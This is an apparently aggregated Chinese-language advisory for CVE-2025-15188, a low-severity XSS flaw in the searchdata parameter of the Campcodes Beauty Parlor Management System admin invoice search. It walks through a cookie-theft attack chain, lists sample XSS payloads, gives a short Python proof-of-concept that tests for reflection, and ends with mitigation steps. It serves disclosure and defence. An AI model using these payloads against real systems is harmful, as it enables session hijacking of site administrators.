IPBUF安全漏洞报告
English
CVE-2025-15188 CVSS 2.4 低危

CVE-2025-15188 Campcodes Beauty Parlor Management System XSS漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15188
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Campcodes Complete Online Beauty Parlor Management System 1.0

相关标签

CVE-2025-15188XSS跨站脚本CampcodesBeauty Parlor Management Systemsearch-invoices.phpStored XSSReflected XSSWeb应用漏洞管理后台漏洞

漏洞概述

CVE-2025-15188是存在于Campcodes Complete Online Beauty Parlor Management System 1.0版本中的一个跨站脚本(XSS)漏洞。该漏洞位于管理后台的搜索发票功能模块,具体受影响的文件为/admin/search-invoices.php。攻击者可以通过构造恶意的searchdata参数值,在页面中注入任意JavaScript代码。当具有管理员权限的用户访问包含恶意脚本的页面时,攻击者可以窃取用户的会话Cookie、劫持用户会话、进行钓鱼攻击或修改页面显示内容。由于该漏洞需要高权限用户交互才能利用,且CVSS评分仅为2.4,因此被评定为低危漏洞。但攻击者仍可利用此漏洞进行社工攻击或窃取敏感信息,建议相关用户及时采取修复措施。

技术细节

该漏洞属于存储型XSS或反射型XSS(具体类型需进一步验证)。漏洞产生的根本原因在于/admin/search-invoices.php文件对用户输入的searchdata参数未进行充分的输入验证和输出编码。攻击者可以在searchdata参数中插入恶意JavaScript代码,如<script>alert(document.cookie)</script>或<img src=x onerror=alert(1)>等Payload。当管理员访问该页面并执行搜索操作时,恶意脚本会被浏览器解析执行,从而实现窃取用户会话信息、修改页面内容或重定向用户到恶意网站等攻击目的。由于该漏洞位于管理后台,攻击者需要诱使管理员点击包含恶意代码的链接或提交恶意搜索请求。攻击者可利用窃取的Cookie冒充管理员身份进行进一步的攻击操作。

攻击链分析

STEP 1
步骤1
攻击者发现Campcodes Complete Online Beauty Parlor Management System 1.0的管理后台存在未过滤的searchdata参数
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的XSS Payload,如<script>alert(document.cookie)</script>
STEP 3
步骤3
攻击者通过社会工程学手段诱使管理员点击包含恶意Payload的链接或提交恶意搜索请求
STEP 4
步骤4
管理员浏览器执行恶意脚本,攻击者成功窃取管理员的会话Cookie或执行其他恶意操作
STEP 5
步骤5
攻击者利用窃取的Cookie冒充管理员身份,进行数据窃取或进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import urllib.parse # CVE-2025-15188 PoC - XSS in Campcodes Beauty Parlor Management System # Target: /admin/search-invoices.php # Parameter: searchdata TARGET_URL = "http://target-site.com/admin/search-invoices.php" def exploit_xss(): """ XSS payload injection via searchdata parameter This PoC demonstrates how malicious JavaScript can be injected """ # Basic XSS payload to test vulnerability xss_payload = "<script>alert('XSS Vulnerability Confirmed')</script>" # Alternative payloads for bypass # xss_payload = "<img src=x onerror=alert(document.cookie)>" # xss_payload = "<svg/onload=alert('XSS')>" # Encode the payload for URL transmission encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious request params = { 'searchdata': xss_payload } print(f"[*] Sending XSS payload to {TARGET_URL}") print(f"[*] Payload: {xss_payload}") try: # Send the request (assumes authenticated session) response = requests.get(TARGET_URL, params=params, timeout=10) # Check if payload appears in response without encoding if xss_payload in response.text or '<script>' in response.text: print("[+] VULNERABLE: XSS payload reflected without sanitization") return True else: print("[-] NOT VULNERABLE or payload filtered") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_xss()

影响范围

Campcodes Complete Online Beauty Parlor Management System 1.0

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1) 在Web服务器层面配置输入过滤规则,拒绝包含<script>等危险标签的请求;2) 启用WAF的XSS防护规则;3) 限制管理后台访问,仅允许可信IP访问;4) 提醒管理员不要点击可疑链接;5) 定期检查服务器日志,排查异常请求;6) 考虑暂时禁用发票搜索功能直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表